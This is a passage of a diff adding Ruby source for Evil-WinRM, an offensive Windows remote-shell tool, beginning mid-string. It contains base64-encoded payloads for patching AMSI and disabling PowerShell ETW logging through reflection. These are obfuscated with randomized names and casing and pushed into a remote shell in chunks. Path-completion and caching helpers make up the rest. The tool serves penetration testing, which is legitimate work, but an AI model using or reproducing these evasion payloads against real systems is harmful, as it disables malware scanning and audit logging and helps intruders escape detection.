0ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpDb3B5KD4+PFZBUjExPj48LCAwLCA+PjxWQVI3Pj48LCAxMikKI2p1bXAKUmVtb3ZlLUl0ZW0gRnVuY3Rpb246Pj48RlVOQ1RJT04yPj48CiNqdW1wClJlbW92ZS1JdGVtIEZ1bmN0aW9uOj4+PEZVTkNUSU9OMT4+PA=='
+
+    result = Base64.decode64(bypass_template)
+
+    for i in 1..2
+      func_name = "Get-#{random_string((7..17).to_a.sample)}"
+      result = replace_func_var_name(result, "FUNCTION#{i}", func_name)
+    end
+
+    for i in 1..12
+      var_name = "$#{random_string((7..17).to_a.sample)}"
+      result = replace_func_var_name(result, "VAR#{i}", var_name)
+    end
+
+    result = replace_with_string_scan(result)
+    result = rand_casing_keywords(result)
+    result
+  end
+
+  def wait_for(time_to_wait)
+    thread = Thread.new do
+        sleep(time_to_wait)
+    end
+    thread.join
+  end
+
+  def load_powershell(shell, powershell_script, sleep_for = 2)
+    outputs = []
+    num_jumps = powershell_script.scan(/#jump/).size + 1
+    current_jump = 1
+    if num_jumps > 1
+      powershell_script.split('#jump').each do |item|
+        progress_bar(current_jump, num_jumps)
+        output = shell.run(item)
+        if !output.output.nil? && !output.output.empty? && !output.output.chomp.empty?
+          outputs << output.output
+        end
+        current_jump += 1
+        wait_for(sleep_for)
+      end
+    else
+      output = shell.run(powershell_script).output
+      if !output.nil? && !output.empty?
+        outputs << output
+      end
+    end
+    outputs
+  end
+
+  def load_Bypass_4MSI(shell)
+    bypass = get_Bypass_4MSI
+    print_message('Patching 4MSI, please be patient...', TYPE_INFO, true)
+    outputs = load_powershell(shell, bypass, 2)
+    if outputs.empty?
+      print_message('[+] Success!', TYPE_SUCCESS, false)
+    else
+      puts(outputs.join("\n"))
+    end
+  end
+
+  def load_ETW_patch(shell)
+    print_message('Patching ETW, please be patient ..', TYPE_INFO, true)
+    patch_template = 'W1JlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkV2l0aFBhcnRpYWxOYW1lKCIiKzw+PFN5c3RlbS5Db3JlPD48KyIiKS5HZXRUeXBlKCJTeXMiKzw+PHRlbS5EaWFnPD48KyJub3N0aWNzLkUiKzw+PHZlbnRpbmcuRXZlbnQ8PjwrIlByb3ZpZGVyIikuR2V0RmllbGQoIiIrPD48bV88PjwrImVuYWJsZWQiLCJOb25QdWJsaWMsSW5zdGFuY2UiKS5TZXRWYWx1ZShbUmVmXS5Bc3NlbWJseS5HZXRUeXBlKCJTeXMiKzw+PHRlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uVHJhY2luZy5QU0V0dzw+PCsiTG9nIis8PjxQcm92aWRlcjw+PCsiIikuR2V0RmllbGQoIiIrPD48ZXR3UHJvdmlkZXI8PjwrIiIsIk5vblB1YmxpYyxTdGF0aWMiKS5HZXRWYWx1ZSg+PjxWQVIxPj48KSwwKQ=='
+    result = Base64.decode64(patch_template)
+    result = replace_func_var_name(result, "VAR1", "$#{random_string((7..17).to_a.sample)}")
+    result = replace_with_string_scan(result)
+    result = rand_casing_keywords(result)
+    outputs = load_powershell(shell, result)
+    if outputs.empty?
+      print_message('[+] Success!', TYPE_SUCCESS, false)
+    else
+      puts("Error #{outputs.join("\n")}")
+    end
+  end
+
+  def extract_filename(path)
+    path = path || ""
+    path = path.gsub("\\", '/')
+    path.split('/')[-1]
+  end
+
+  def get_paths_from_command(command, pwd)
+    parts = Shellwords.shellsplit(command)
+    parts.delete_at(0)
+    return parts
+  end
+
+  def get_from_cache(n_path)
+    return if n_path.nil? || n_path.empty?
+
+    a_path = normalize_path(n_path)
+    current_time = Time.now.to_i
+    current_vals = @directories[a_path]
+    result = []
+    unless current_vals.nil?
+      is_valid = current_vals['time'] > current_time - @cache_ttl
+      result = current_vals['files'] if is_valid
+      @directories.delete(a_path) unless is_valid
+    end
+
+    result
+  end
+
+  def set_cache(n_path, paths)
+    return if n_path.nil? || n_path.empty?
+
+    a_path = normalize_path(n_path)
+    current_time = Time.now.to_i
+    @directories[a_path] = { 'time' => current_time, 'files' => paths }
+  end
+
+  def normalize_path(str)
+    Regexp.escape(str.to_s.gsub('\\', '/'))
+  end
+
+  def get_dir_parts(n_path)
+    return [n_path, ''] unless (n_path[-1] =~ %r{/$}).nil?
+
+    i_last = n_path.rindex('/')
+    return ['./', n_path] if i_last.nil?
+
+    next_i = i_last + 1
+    amount = n_path.length - next_i
+
+    [n_path[0, i_last + 1], n_path[next_i, amount]]
+  end
+
+  def complete_path(str, shell)
+    return unless @completion_enabled
+    return unless !str.empty? && !(str =~ %r{^(\./|[a-z,A-Z]:|\.\./|~/|/)*}i).nil?
+
+    n_path = str
+    parts = get_dir_parts(n_path)
+    dir_p = parts[0]
+    nam_p = parts[1]
+    result = []
+    result = get_from_cache(dir_p) unless dir_p =~ %r{^(\./|\.\./|~|/)}
+
+    if result.nil? || result.empty?
+      target_dir = dir_p
+      pscmd = "$a=@();$(ls '#{target_dir}*' -ErrorAction SilentlyContinue -Force |Foreach-Object {  if((Get-Item $_.FullName -ErrorAction SilentlyContinue) -is [System.IO.DirectoryInfo] ){ $a +=  \"$($_.FullName.Replace('\\','/'))/\"}else{  $a += \"$($_.FullName.Replace('\\', '/'))\" } });$a += \"$($(Resolve-Path -Path '#{target_dir}').Path.Replace('\\','/'))\";$a"
+
+      output = shell.run(pscmd).output
+      s = output.to_s.gsub(/\r/, '').split(/\n/)
+
+      dir_p = s.pop
+      set_cache(dir_p, s)
+      result = s
+    end
+    dir_p += '/' unless dir_p[-1] == '/'
+    path_grep = normalize_path(dir_p + nam_p)
+    path_grep = path_grep.chop if !path_grep.empty? && path_grep[0] == '"'
+    filtered = result.grep(/^#{path_grep}/i)
+    filtered.collect { |x| "\"#{x}\"" }
+  end
+end
+
+# Class to create array (tokenize) from a string
+class String
+  def tokenize
+    split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/)
+      .reject(&:empty?)
+      .map { |s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/, '') }
+  end
+end
+
+# Execution
+e = EvilWinRM.new
+e.main